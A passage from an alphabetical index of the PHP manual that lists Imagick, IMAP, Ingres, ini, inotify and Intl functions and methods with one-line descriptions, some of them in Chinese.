    • Imagick::separateImageChannel - Separates a channel from the image
    • Imagick::sepiaToneImage - Sepia tones an image
    • Imagick::setBackgroundColor - Sets the object's default background color
    • Imagick::setColorspace - Set colorspace
    • Imagick::setCompression - Sets the object's default compression type
    • Imagick::setCompressionQuality - Sets the object's default compression quality
    • Imagick::setFilename - Sets the filename before you read or write the image
    • Imagick::setFirstIterator - Sets the Imagick iterator to the first image
    • Imagick::setFont - Sets font
    • Imagick::setFormat - Sets the format of the Imagick object
    • Imagick::setGravity - Sets the gravity
    • Imagick::setImage - Replaces image in the object
    • Imagick::setImageAlphaChannel - Sets image alpha channel
    • Imagick::setImageArtifact - Set image artifact
    • Imagick::setImageAttribute - Description
    • Imagick::setImageBackgroundColor - Sets the image background color
    • Imagick::setImageBias - Sets the image bias for any method that convolves an image
    • Imagick::setImageBiasQuantum - Description
    • Imagick::setImageBluePrimary - Sets the image chromaticity blue primary point
    • Imagick::setImageBorderColor - Sets the image border color
    • Imagick::setImageChannelDepth - Sets the depth of a particular image channel
    • Imagick::setImageClipMask - Sets image clip mask
    • Imagick::setImageColormapColor - Sets the color of the specified colormap index
    • Imagick::setImageColorspace - Sets the image colorspace
    • Imagick::setImageCompose - Sets the image composite operator
    • Imagick::setImageCompression - 设置图片压缩的类型
    • Imagick::setImageCompressionQuality - 设置图片压缩的质量
    • Imagick::setImageDelay - Sets the image delay
    • Imagick::setImageDepth - Sets the image depth
    • Imagick::setImageDispose - Sets the image disposal method
    • Imagick::setImageExtent - Sets the image size
    • Imagick::setImageFilename - Sets the filename of a particular image
    • Imagick::setImageFormat - 为图片设置指定的格式
    • Imagick::setImageGamma - Sets the image gamma
    • Imagick::setImageGravity - Sets the image gravity
    • Imagick::setImageGreenPrimary - Sets the image chromaticity green primary point
    • Imagick::setImageIndex - Set the iterator position
    • Imagick::setImageInterlaceScheme - Sets the image compression
    • Imagick::setImageInterpolateMethod - Sets the image interpolate pixel method
    • Imagick::setImageIterations - Sets the image iterations
    • Imagick::setImageMatte - Sets the image matte channel
    • Imagick::setImageMatteColor - Sets the image matte color
    • Imagick::setImageOpacity - Sets the image opacity level
    • Imagick::setImageOrientation - Sets the image orientation
    • Imagick::setImagePage - Sets the page geometry of the image
    • Imagick::setImageProfile - Adds a named profile to the Imagick object
    • Imagick::setImageProperty - Sets an image property
    • Imagick::setImageRedPrimary - Sets the image chromaticity red primary point
    • Imagick::setImageRenderingIntent - Sets the image rendering intent
    • Imagick::setImageResolution - Sets the image resolution
    • Imagick::setImageScene - Sets the image scene
    • Imagick::setImageTicksPerSecond - Sets the image ticks-per-second
    • Imagick::setImageType - Sets the image type
    • Imagick::setImageUnits - Sets the image units of resolution
    • Imagick::setImageVirtualPixelMethod - Sets the image virtual pixel method
    • Imagick::setImageWhitePoint - Sets the image chromaticity white point
    • Imagick::setInterlaceScheme - Sets the image compression
    • Imagick::setIteratorIndex - Set the iterator position
    • Imagick::setLastIterator - Sets the Imagick iterator to the last image
    • Imagick::setOption - Set an option
    • Imagick::setPage - Sets the page geometry of the Imagick object
    • Imagick::setPointSize - Sets point size
    • Imagick::setProgressMonitor - Description
    • Imagick::setRegistry - Description
    • Imagick::setResolution - Sets the image resolution
    • Imagick::setResourceLimit - Sets the limit for a particular resource
    • Imagick::setSamplingFactors - Sets the image sampling factors
    • Imagick::setSize - Sets the size of the Imagick object
    • Imagick::setSizeOffset - Sets the size and offset of the Imagick object
    • Imagick::setType - Sets the image type attribute
    • Imagick::shadeImage - Creates a 3D effect
    • Imagick::shadowImage - Simulates an image shadow
    • Imagick::sharpenImage - Sharpens an image
    • Imagick::shaveImage - Shaves pixels from the image edges
    • Imagick::shearImage - Creating a parallelogram
    • Imagick::sigmoidalContrastImage - Adjusts the contrast of an image
    • Imagick::sketchImage - Simulates a pencil sketch
    • Imagick::smushImages - Description
    • Imagick::solarizeImage - Applies a solarizing effect to the image
    • Imagick::sparseColorImage - Interpolates colors
    • Imagick::spliceImage - Splices a solid color into the image
    • Imagick::spreadImage - Randomly displaces each pixel in a block
    • Imagick::statisticImage - Description
    • Imagick::steganoImage - Hides a digital watermark within the image
    • Imagick::stereoImage - Composites two images
    • Imagick::stripImage - 去掉图片的所有配置和设置
    • Imagick::subImageMatch - Description
    • Imagick::swirlImage - Swirls the pixels about the center of the image
    • Imagick::textureImage - Repeatedly tiles the texture image
    • Imagick::thresholdImage - Changes the value of individual pixels based on a threshold
    • Imagick::thumbnailImage - Changes the size of an image
    • Imagick::tintImage - Applies a color vector to each pixel in the image
    • Imagick::transformImage - Convenience method for setting crop size and the image geometry
    • Imagick::transformImageColorspace - Transforms an image to a new colorspace
    • Imagick::transparentPaintImage - Paints pixels transparent
    • Imagick::transposeImage - Creates a vertical mirror image
    • Imagick::transverseImage - Creates a horizontal mirror image
    • Imagick::trimImage - Remove edges from the image
    • Imagick::uniqueImageColors - Discards all but one of any pixel color
    • Imagick::unsharpMaskImage - Sharpens an image
    • Imagick::valid - Checks if the current item is valid
    • Imagick::vignetteImage - Adds vignette filter to the image
    • Imagick::waveImage - Applies wave filter to the image
    • Imagick::whiteThresholdImage - Force all pixels above the threshold into white
    • Imagick::writeImage - 把图片写入指定的文件
    • Imagick::writeImageFile - Writes an image to a filehandle
    • Imagick::writeImages - Writes an image or image sequence
    • Imagick::writeImagesFile - Writes frames to a filehandle
    • Imagick::__construct - The Imagick constructor
    • Imagick::__toString - Returns the image as a string
    • ImagickDraw::affine - Adjusts the current affine transformation matrix
    • ImagickDraw::annotation - Draws text on the image
    • ImagickDraw::arc - Draws an arc
    • ImagickDraw::bezier - Draws a bezier curve
    • ImagickDraw::circle - Draws a circle
    • ImagickDraw::clear - Clears the ImagickDraw
    • ImagickDraw::clone - Makes an exact copy of the specified ImagickDraw object
    • ImagickDraw::color - Draws color on image
    • ImagickDraw::comment - Adds a comment
    • ImagickDraw::composite - Composites an image onto the current image
    • ImagickDraw::destroy - Frees all associated resources
    • ImagickDraw::ellipse - Draws an ellipse on the image
    • ImagickDraw::getClipPath - Obtains the current clipping path ID
    • ImagickDraw::getClipRule - Returns the current polygon fill rule
    • ImagickDraw::getClipUnits - Returns the interpretation of clip path units
    • ImagickDraw::getFillColor - Returns the fill color
    • ImagickDraw::getFillOpacity - Returns the opacity used when drawing
    • ImagickDraw::getFillRule - Returns the fill rule
    • ImagickDraw::getFont - Returns the font
    • ImagickDraw::getFontFamily - Returns the font family
    • ImagickDraw::getFontSize - Returns the font pointsize
    • ImagickDraw::getFontStretch - Description
    • ImagickDraw::getFontStyle - Returns the font style
    • ImagickDraw::getFontWeight - Returns the font weight
    • ImagickDraw::getGravity - Returns the text placement gravity
    • ImagickDraw::getStrokeAntialias - Returns the current stroke antialias setting
    • ImagickDraw::getStrokeColor - Returns the color used for stroking object outlines
    • ImagickDraw::getStrokeDashArray - Returns an array representing the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::getStrokeDashOffset - Returns the offset into the dash pattern to start the dash
    • ImagickDraw::getStrokeLineCap - Returns the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::getStrokeLineJoin - Returns the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::getStrokeMiterLimit - Returns the stroke miter limit
    • ImagickDraw::getStrokeOpacity - Returns the opacity of stroked object outlines
    • ImagickDraw::getStrokeWidth - Returns the width of the stroke used to draw object outlines
    • ImagickDraw::getTextAlignment - Returns the text alignment
    • ImagickDraw::getTextAntialias - Returns the current text antialias setting
    • ImagickDraw::getTextDecoration - Returns the text decoration
    • ImagickDraw::getTextEncoding - Returns the code set used for text annotations
    • ImagickDraw::getTextInterlineSpacing - Description
    • ImagickDraw::getTextInterwordSpacing - Description
    • ImagickDraw::getTextKerning - Description
    • ImagickDraw::getTextUnderColor - Returns the text under color
    • ImagickDraw::getVectorGraphics - Returns a string containing vector graphics
    • ImagickDraw::line - Draws a line
    • ImagickDraw::matte - Paints on the image's opacity channel
    • ImagickDraw::pathClose - Adds a path element to the current path
    • ImagickDraw::pathCurveToAbsolute - Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute - Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierRelative - Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute - Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative - Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToRelative - Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothAbsolute - Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothRelative - Draws a cubic Bezier curve
    • ImagickDraw::pathEllipticArcAbsolute - Draws an elliptical arc
    • ImagickDraw::pathEllipticArcRelative - Draws an elliptical arc
    • ImagickDraw::pathFinish - Terminates the current path
    • ImagickDraw::pathLineToAbsolute - Draws a line path
    • ImagickDraw::pathLineToHorizontalAbsolute - Draws a horizontal line path
    • ImagickDraw::pathLineToHorizontalRelative - Draws a horizontal line
    • ImagickDraw::pathLineToRelative - Draws a line path
    • ImagickDraw::pathLineToVerticalAbsolute - Draws a vertical line
    • ImagickDraw::pathLineToVerticalRelative - Draws a vertical line path
    • ImagickDraw::pathMoveToAbsolute - Starts a new sub-path
    • ImagickDraw::pathMoveToRelative - Starts a new sub-path
    • ImagickDraw::pathStart - Declares the start of a path drawing list
    • ImagickDraw::point - Draws a point
    • ImagickDraw::polygon - Draws a polygon
    • ImagickDraw::polyline - Draws a polyline
    • ImagickDraw::pop - Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
    • ImagickDraw::popClipPath - Terminates a clip path definition
    • ImagickDraw::popDefs - Terminates a definition list
    • ImagickDraw::popPattern - Terminates a pattern definition
    • ImagickDraw::push - Clones the current ImagickDraw and pushes it to the stack
    • ImagickDraw::pushClipPath - Starts a clip path definition
    • ImagickDraw::pushDefs - Indicates that following commands create named elements for early processing
    • ImagickDraw::pushPattern - Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
    • ImagickDraw::rectangle - Draws a rectangle
    • ImagickDraw::render - Renders all preceding drawing commands onto the image
    • ImagickDraw::resetVectorGraphics - Description
    • ImagickDraw::rotate - Applies the specified rotation to the current coordinate space
    • ImagickDraw::roundRectangle - Draws a rounded rectangle
    • ImagickDraw::scale - Adjusts the scaling factor
    • ImagickDraw::setClipPath - Associates a named clipping path with the image
    • ImagickDraw::setClipRule - Set the polygon fill rule to be used by the clipping path
    • ImagickDraw::setClipUnits - Sets the interpretation of clip path units
    • ImagickDraw::setFillAlpha - Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillColor - Sets the fill color to be used for drawing filled objects
    • ImagickDraw::setFillOpacity - Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillPatternURL - Sets the URL to use as a fill pattern for filling objects
    • ImagickDraw::setFillRule - Sets the fill rule to use while drawing polygons
    • ImagickDraw::setFont - Sets the fully-specified font to use when annotating with text
    • ImagickDraw::setFontFamily - Sets the font family to use when annotating with text
    • ImagickDraw::setFontSize - Sets the font pointsize to use when annotating with text
    • ImagickDraw::setFontStretch - Sets the font stretch to use when annotating with text
    • ImagickDraw::setFontStyle - Sets the font style to use when annotating with text
    • ImagickDraw::setFontWeight - Sets the font weight
    • ImagickDraw::setGravity - Sets the text placement gravity
    • ImagickDraw::setResolution - Description
    • ImagickDraw::setStrokeAlpha - Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokeAntialias - Controls whether stroked outlines are antialiased
    • ImagickDraw::setStrokeColor - Sets the color used for stroking object outlines
    • ImagickDraw::setStrokeDashArray - Specifies the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::setStrokeDashOffset - Specifies the offset into the dash pattern to start the dash
    • ImagickDraw::setStrokeLineCap - Specifies the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::setStrokeLineJoin - Specifies the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::setStrokeMiterLimit - Specifies the miter limit
    • ImagickDraw::setStrokeOpacity - Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokePatternURL - Sets the pattern used for stroking object outlines
    • ImagickDraw::setStrokeWidth - Sets the width of the stroke used to draw object outlines
    • ImagickDraw::setTextAlignment - Specifies a text alignment
    • ImagickDraw::setTextAntialias - Controls whether text is antialiased
    • ImagickDraw::setTextDecoration - Specifies a decoration
    • ImagickDraw::setTextEncoding - Specifies the text code set
    • ImagickDraw::setTextInterlineSpacing - Description
    • ImagickDraw::setTextInterwordSpacing - Description
    • ImagickDraw::setTextKerning - Description
    • ImagickDraw::setTextUnderColor - Specifies the color of a background rectangle
    • ImagickDraw::setVectorGraphics - Sets the vector graphics
    • ImagickDraw::setViewbox - Sets the overall canvas size
    • ImagickDraw::skewX - Skews the current coordinate system in the horizontal direction
    • ImagickDraw::skewY - Skews the current coordinate system in the vertical direction
    • ImagickDraw::translate - Applies a translation to the current coordinate system
    • ImagickDraw::__construct - The ImagickDraw constructor
    • ImagickPixel::clear - Clears resources associated with this object
    • ImagickPixel::destroy - Deallocates resources associated with this object
    • ImagickPixel::getColor - Returns the color
    • ImagickPixel::getColorAsString - Returns the color as a string
    • ImagickPixel::getColorCount - Returns the color count associated with this color
    • ImagickPixel::getColorQuantum - Description
    • ImagickPixel::getColorValue - Gets the normalized value of the provided color channel
    • ImagickPixel::getColorValueQuantum - Description
    • ImagickPixel::getHSL - Returns the normalized HSL color of the ImagickPixel object
    • ImagickPixel::getIndex - Description
    • ImagickPixel::isPixelSimilar - Check the distance between this color and another
    • ImagickPixel::isPixelSimilarQuantum - Description
    • ImagickPixel::isSimilar - Check the distance between this color and another
    • ImagickPixel::setColor - Sets the color
    • ImagickPixel::setColorCount - Description
    • ImagickPixel::setColorValue - Sets the normalized value of one of the channels
    • ImagickPixel::setColorValueQuantum - Description
    • ImagickPixel::setHSL - Sets the normalized HSL color
    • ImagickPixel::setIndex - Description
    • ImagickPixel::__construct - The ImagickPixel constructor
    • ImagickPixelIterator::clear - Clear resources associated with a PixelIterator
    • ImagickPixelIterator::destroy - Deallocates resources associated with a PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow - Returns the current row of ImagickPixel objects
    • ImagickPixelIterator::getIteratorRow - Returns the current pixel iterator row
    • ImagickPixelIterator::getNextIteratorRow - Returns the next row of the pixel iterator
    • ImagickPixelIterator::getPreviousIteratorRow - Returns the previous row
    • ImagickPixelIterator::newPixelIterator - Returns a new pixel iterator
    • ImagickPixelIterator::newPixelRegionIterator - Returns a new pixel iterator
    • ImagickPixelIterator::resetIterator - Resets the pixel iterator
    • ImagickPixelIterator::setIteratorFirstRow - Sets the pixel iterator to the first pixel row
    • ImagickPixelIterator::setIteratorLastRow - Sets the pixel iterator to the last pixel row
    • ImagickPixelIterator::setIteratorRow - Set the pixel iterator row
    • ImagickPixelIterator::syncIterator - Syncs the pixel iterator
    • ImagickPixelIterator::__construct - The ImagickPixelIterator constructor
    • imap_8bit - Convert an 8bit string to a quoted-printable string
    • imap_alerts - Returns all IMAP alert messages that have occurred
    • imap_append - Append a string message to a specified mailbox
    • imap_base64 - Decode BASE64 encoded text
    • imap_binary - Convert an 8bit string to a base64 string
    • imap_body - Read the message body
    • imap_bodystruct - Read the structure of a specified body section of a specific message
    • imap_check - Check current mailbox
    • imap_clearflag_full - Clears flags on messages
    • imap_close - Close an IMAP stream
    • imap_create - 别名 imap_createmailbox
    • imap_createmailbox - Create a new mailbox
    • imap_delete - Mark a message for deletion from current mailbox
    • imap_deletemailbox - Delete a mailbox
    • imap_errors - Returns all of the IMAP errors that have occurred
    • imap_expunge - Delete all messages marked for deletion
    • imap_fetchbody - Fetch a particular section of the body of the message
    • imap_fetchheader - Returns header for a message
    • imap_fetchmime - Fetch MIME headers for a particular section of the message
    • imap_fetchstructure - Read the structure of a particular message
    • imap_fetchtext - 别名 imap_body
    • imap_fetch_overview - Read an overview of the information in the headers of the given message
    • imap_gc - Clears IMAP cache
    • imap_getacl - Gets the ACL for a given mailbox
    • imap_getmailboxes - Read the list of mailboxes, returning detailed information on each one
    • imap_getsubscribed - List all the subscribed mailboxes
    • imap_get_quota - Retrieve the quota level settings, and usage statics per mailbox
    • imap_get_quotaroot - Retrieve the quota settings per user
    • imap_header - 别名 imap_headerinfo
    • imap_headerinfo - Read the header of the message
    • imap_headers - Returns headers for all messages in a mailbox
    • imap_last_error - Gets the last IMAP error that occurred during this page request
    • imap_list - Read the list of mailboxes
    • imap_listmailbox - 别名 imap_list
    • imap_listscan - Returns the list of mailboxes that matches the given text
    • imap_listsubscribed - 别名 imap_lsub
    • imap_lsub - List all the subscribed mailboxes
    • imap_mail - Send an email message
    • imap_mailboxmsginfo - Get information about the current mailbox
    • imap_mail_compose - Create a MIME message based on given envelope and body sections
    • imap_mail_copy - Copy specified messages to a mailbox
    • imap_mail_move - Move specified messages to a mailbox
    • imap_mime_header_decode - Decode MIME header elements
    • imap_msgno - Gets the message sequence number for the given UID
    • imap_mutf7_to_utf8 - Decode a modified UTF-7 string to UTF-8
    • imap_num_msg - Gets the number of messages in the current mailbox
    • imap_num_recent - Gets the number of recent messages in current mailbox
    • imap_open - Open an IMAP stream to a mailbox
    • imap_ping - Check if the IMAP stream is still active
    • imap_qprint - Convert a quoted-printable string to an 8 bit string
    • imap_rename - 别名 imap_renamemailbox
    • imap_renamemailbox - Rename an old mailbox to new mailbox
    • imap_reopen - Reopen IMAP stream to new mailbox
    • imap_rfc822_parse_adrlist - Parses an address string
    • imap_rfc822_parse_headers - Parse mail headers from a string
    • imap_rfc822_write_address - Returns a properly formatted email address given the mailbox, host, and personal info
    • imap_savebody - Save a specific body section to a file
    • imap_scan - 别名 imap_listscan
    • imap_scanmailbox - 别名 imap_listscan
    • imap_search - This function returns an array of messages matching the given search criteria
    • imap_setacl - Sets the ACL for a given mailbox
    • imap_setflag_full - Sets flags on messages
    • imap_set_quota - Sets a quota for a given mailbox
    • imap_sort - Gets and sort messages
    • imap_status - Returns status information on a mailbox
    • imap_subscribe - Subscribe to a mailbox
    • imap_thread - Returns a tree of threaded message
    • imap_timeout - Set or fetch imap timeout
    • imap_uid - This function returns the UID for the given message sequence number
    • imap_undelete - Unmark the message which is marked deleted
    • imap_unsubscribe - Unsubscribe from a mailbox
    • imap_utf7_decode - Decodes a modified UTF-7 encoded string
    • imap_utf7_encode - Converts ISO-8859-1 string to modified UTF-7 text
    • imap_utf8 - Converts MIME-encoded text to UTF-8
    • imap_utf8_to_mutf7 - Encode a UTF-8 string to modified UTF-7
    • implode - 将一个一维数组的值转化为字符串
    • import_request_variables - 将 GET／POST／Cookie 变量导入到全局作用域中
    • inclued_get_data - Get the inclued data
    • inet_ntop - Converts a packed internet address to a human readable representation
    • inet_pton - Converts a human readable IP address to its packed in_addr representation
    • InfiniteIterator::next - Moves the inner Iterator forward or rewinds it
    • InfiniteIterator::__construct - Constructs an InfiniteIterator
    • inflate_add - Incrementally inflate encoded data
    • inflate_get_read_len - Get number of bytes read so far
    • inflate_get_status - Get decompression status
    • inflate_init - Initialize an incremental inflate context
    • ingres_autocommit - Switch autocommit on or off
    • ingres_autocommit_state - Test if the connection is using autocommit
    • ingres_charset - Returns the installation character set
    • ingres_close - Close an Ingres database connection
    • ingres_commit - Commit a transaction
    • ingres_connect - Open a connection to an Ingres database
    • ingres_cursor - Get a cursor name for a given result resource
    • ingres_errno - Get the last Ingres error number generated
    • ingres_error - Get a meaningful error message for the last error generated
    • ingres_errsqlstate - Get the last SQLSTATE error code generated
    • ingres_escape_string - Escape special characters for use in a query
    • ingres_execute - Execute a prepared query
    • ingres_fetch_array - Fetch a row of result into an array
    • ingres_fetch_assoc - Fetch a row of result into an associative array
    • ingres_fetch_object - Fetch a row of result into an object
    • ingres_fetch_proc_return - Get the return value from a procedure call
    • ingres_fetch_row - Fetch a row of result into an enumerated array
    • ingres_field_length - Get the length of a field
    • ingres_field_name - Get the name of a field in a query result
    • ingres_field_nullable - Test if a field is nullable
    • ingres_field_precision - Get the precision of a field
    • ingres_field_scale - Get the scale of a field
    • ingres_field_type - Get the type of a field in a query result
    • ingres_free_result - Free the resources associated with a result identifier
    • ingres_next_error - Get the next Ingres error
    • ingres_num_fields - Get the number of fields returned by the last query
    • ingres_num_rows - Get the number of rows affected or returned by a query
    • ingres_pconnect - Open a persistent connection to an Ingres database
    • ingres_prepare - Prepare a query for later execution
    • ingres_query - Send an SQL query to Ingres
    • ingres_result_seek - Set the row position before fetching data
    • ingres_rollback - Roll back a transaction
    • ingres_set_environment - Set environment features controlling output options
    • ingres_unbuffered_query - Send an unbuffered SQL query to Ingres
    • ini_alter - 别名 ini_set
    • ini_get - 获取一个配置选项的值
    • ini_get_all - 获取所有配置选项
    • ini_restore - 恢复配置选项的值
    • ini_set - 为一个配置选项设置值
    • inotify_add_watch - Add a watch to an initialized inotify instance
    • inotify_init - Initialize an inotify instance
    • inotify_queue_len - Return a number upper than zero if there are pending events
    • inotify_read - Read events from an inotify instance
    • inotify_rm_watch - Remove an existing watch from an inotify instance
    • intdiv - 对除法结果取整
    • interface_exists - 检查接口是否已被定义
    • IntlBreakIterator::createCharacterInstance - Create break iterator for boundaries of combining character sequences
    • IntlBreakIterator::createCodePointInstance - Create break iterator for boundaries of code points
    • IntlBreakIterator::createLineInstance - Create break iterator for logically possible line breaks
    • IntlBreakIterator::createSentenceInstance - Create break iterator for sentence breaks
    • IntlBreakIterator::createTitleInstance - Create break iterator for title-casing breaks
    • IntlBreakIterator::createWordInstance - Create break iterator for word breaks
    • IntlBreakIterator::current - Get index of current position
    • IntlBreakIterator::first - Set position to the first character in the text
    • IntlBreakIterator::following - Advance the iterator to the first boundary following specified offset
    • IntlBreakIterator::getErrorCode - Get last error code on the object
    • IntlBreakIterator::getErrorMessage - Get last error message on the object
    • IntlBreakIterator::getLocale - Get the locale associated with the object
    • IntlBreakIterator::getPartsIterator - Create iterator for navigating fragments between boundaries
    • IntlBreakIterator::getText - Get the text being scanned
    • IntlBreakIterator::isBoundary - Tell whether an offset is a boundary?s offset
    • IntlBreakIterator::last - Set the iterator position to index beyond the last character
    • IntlBreakIterator::next - Advance the iterator the next boundary
    • IntlBreakIterator::preceding - Set the iterator position to the first boundary before an offset
    • IntlBreakIterator::previous - Set the iterator position to the boundary immediately before the current
    • IntlBreakIterator::setText - Set the text being scanned
    • IntlBreakIterator::__construct - Private constructor for disallowing instantiation
    • IntlCalendar::add - Add a (signed) amount of time to a field
    • IntlCalendar::after - Whether this object?s time is after that of the passed object
    • IntlCalendar::before - Whether this object?s time is before that of the passed object
    • IntlCalendar::clear - Clear a field or all fields
    • IntlCalendar::createInstance - Create a new IntlCalendar
    • IntlCalendar::equals - Compare time of two IntlCalendar objects for equality
    • IntlCalendar::fieldDifference - Calculate difference between given time and this object?s time
    • IntlCalendar::fromDateTime - Create an IntlCalendar from a DateTime object or string
    • IntlCalendar::get - Get the value for a field
    • IntlCalendar::getActualMaximum - The maximum value for a field, considering the object?s current time
    • IntlCalendar::getActualMinimum - The minimum value for a field, considering the object?s current time
    • IntlCalendar::getAvailableLocales - Get array of locales for which there is data
    • IntlCalendar::getDayOfWeekType - Tell whether a day is a weekday, weekend or a day that has a transition between the two
    • IntlCalendar::getErrorCode - Get last error code on the object
    • IntlCalendar::getErrorMessage - Get last error message on the object
    • IntlCalendar::getFirstDayOfWeek - Get the first day of the week for the calendar?s locale
    • IntlCalendar::getGreatestMinimum - Get the largest local minimum value for a field
    • IntlCalendar::getKeywordValuesForLocale - Get set of locale keyword values
    • IntlCalendar::getLeastMaximum - Get the smallest local maximum for a field
    • IntlCalendar::getLocale - Get the locale associated with the object
    • IntlCalendar::getMaximum - Get the global maximum value for a field
    • IntlCalendar::getMinimalDaysInFirstWeek - Get minimal number of days the first week in a year or month can have
    • IntlCalendar::getMinimum - Get the global minimum value for a field
    • IntlCalendar::getNow - Get number representing the current time
    • IntlCalendar::getRepeatedWallTimeOption - Get behavior for handling repeating wall time
    • IntlCalendar::getSkippedWallTimeOption - Get behavior for handling skipped wall time
    • IntlCalendar::getTime - Get time currently represented by the object
    • IntlCalendar::getTimeZone - Get the object?s timezone
    • IntlCalendar::getType - Get the calendar type
    • IntlCalendar::getWeekendTransition - Get time of the day at which weekend begins or ends
    • IntlCalendar::inDaylightTime - Whether the object?s time is in Daylight Savings Time
    • IntlCalendar::isEquivalentTo - Whether another calendar is equal but for a different time
    • IntlCalendar::isLenient - Whether date/time interpretation is in lenient mode
    • IntlCalendar::isSet - Whether a field is set
    • IntlCalendar::isWeekend - Whether a certain date/time is in the weekend
    • IntlCalendar::roll - Add value to field without carrying into more significant fields
    • IntlCalendar::set - Set a time field or several common fields at once
    • IntlCalendar::setFirstDayOfWeek - Set the day on which the week is deemed to start
    • IntlCalendar::setLenient - Set whether date/time interpretation is to be lenient
    • IntlCalendar::setMinimalDaysInFirstWeek - Set minimal number of days the first week in a year or month can have
    • IntlCalendar::setRepeatedWallTimeOption - Set behavior for handling repeating wall times at negative timezone offset transitions
    • IntlCalendar::setSkippedWallTimeOption - Set behavior for handling skipped wall times at positive timezone offset transitions
    • IntlCalendar::setTime - Set the calendar time in milliseconds since the epoch
    • IntlCalendar::setTimeZone - Set the timezone used by this calendar
    • IntlCalendar::toDateTime - Convert an IntlCalendar into a DateTime object
    • IntlCalendar::__construct - Private constructor for disallowing instantiation
    • IntlChar::charAge - Get the "age" of the code point
    • IntlChar::charDigitValue - Get the decimal digit value of a decimal digit character
    • IntlChar::charDirection - Get bidirectional category value for a code point
    • IntlChar::charFromName - Find Unicode character by name and return its code point value
    • IntlChar::charMirror - Get the "mirror-image" character for a code point
    • IntlChar::charName - Retrieve the name of a Unicode character
    • IntlChar::charType - Get the general category value for a code point
    • IntlChar::chr - Return Unicode character by code point value
    • IntlChar::digit - Get the decimal digit value of a code point for a given radix
    • IntlChar::enumCharNames - Enumerate all assigned Unicode characters within a range
    • IntlChar::enumCharTypes - Enumerate all code points with their Unicode general categories
    • IntlChar::foldCase - Perform case folding on a code point
    • IntlChar::forDigit - Get character representation for a given digit and radix
    • IntlChar::getBidiPairedBracket - Get the paired bracket character for a code point
    • IntlChar::getBlockCode - Get the Unicode allocation block containing a code point
    • IntlChar::getCombiningClass - Get the combining class of a code point
    • IntlChar::getFC_NFKC_Closure - Get the FC_NFKC_Closure property for a code point
    • IntlChar::getIntPropertyMaxValue - Get the max value for a Unicode property
    • IntlChar::getIntPropertyMinValue - Get the min value for a Unicode property
    • IntlChar::getIntPropertyValue - Get the value for a Unicode property for a code point
    • IntlChar::getNumericValue - Get the numeric value for a Unicode code point
    • IntlChar::getPropertyEnum - Get the property constant value for a given property name
    • IntlChar::getPropertyName - Get the Unicode name for a property
    • IntlChar::getPropertyValueEnum - Get the property value for a given value name
    • IntlChar::getPropertyValueName - Get the Unicode name for a property value
    • IntlChar::getUnicodeVersion - Get the Unicode version
    • IntlChar::hasBinaryProperty - Check a binary Unicode property for a code point
    • IntlChar::isalnum - Check if code point is an alphanumeric character
    • IntlChar::isalpha - Check if code point is a letter character
    • IntlChar::isbase - Check if code point is a base character
    • IntlChar::isblank - Check if code point is a "blank" or "horizontal space" character
    • IntlChar::iscntrl - Check if code point is a control character
    • IntlChar::isdefined - Check whether the code point is defined
    • IntlChar::isdigit - Check if code point is a digit character
    • IntlChar::isgraph - Check if code point is a graphic character
    • IntlChar::isIDIgnorable - Check if code point is an ignorable character
    • IntlChar::isIDPart - Check if code point is permissible in an identifier
    • IntlChar::isIDStart - Check if code point is permissible as the first character in an identifier
    • IntlChar::isISOControl - Check if code point is an ISO control code
    • IntlChar::isJavaIDPart - Check if code point is permissible in a Java identifier
    • IntlChar::isJavaIDStart - Check if code point is permissible as the first character in a Java identifier
    • IntlChar::isJavaSpaceChar - Check if code point is a space character according to Java
    • IntlChar::islower - Check if code point is a lowercase letter
    • IntlChar::isMirrored - Check if code point has the Bidi_Mirrored property
    • IntlChar::isprint - Check if code point is a printable character
    • IntlChar::ispunct - Check if code point is punctuation character
    • IntlChar::isspace - Check if code point is a space character
    • IntlChar::istitle - Check if code point is a titlecase letter
    • IntlChar::isUAlphabetic - Check if code point has the Alphabetic Unicode property
    • IntlChar::isULowercase - Check if code point has the Lowercase Unicode property
    • IntlChar::isupper - Check if code point has the general category "Lu" (uppercase letter)
    • IntlChar::isUUppercase - Check if code point has the Uppercase Unicode property
    • IntlChar::isUWhiteSpace - Check if code point has the White_Space Unicode property
    • IntlChar::isWhitespace - Check if code point is a whitespace character according to ICU
    • IntlChar::isxdigit - Check if code point is a hexadecimal digit
    • IntlChar::ord - Return Unicode code point value of character
    • IntlChar::tolower - Make Unicode character lowercase
    • IntlChar::totitle - Make Unicode character titlecase
    • IntlChar::toupper - Make Unicode character uppercase
    • IntlCodePointBreakIterator::getLastCodePoint - Get last code point passed over after advancing or receding the iterator
    • IntlDateFormatter::create - Create a date formatter
    • IntlDateFormatter::format - Format the date/time value as a string
    • IntlDateFormatter::formatObject - Formats an object
    • IntlDateFormatter::getCalendar - Get the calendar type used for the IntlDateFormatter
    • IntlDateFormatter::getCalendarObject - Get copy of formatter?s calendar object
    • IntlDateFormatter::getDateType - Get the datetype used for the IntlDateFormatter
    • IntlDateFormatter::getErrorCode - Get the error code from last operation
    • IntlDateFormatter::getErrorMessage - Get the error text from the last operation
    • IntlDateFormatter::getLocale - Get the locale used by formatter
    • IntlDateFormatter::getPattern - Get the pattern used for the IntlDateFormatter
    • IntlDateFormatter::getTimeType - Get the timetype used for the IntlDateFormatter
    • IntlDateFormatter::getTimeZone - Get formatter?s timezone
    • IntlDateFormatter::getTimeZoneId - Get the timezone-id used for the IntlDateFormatter
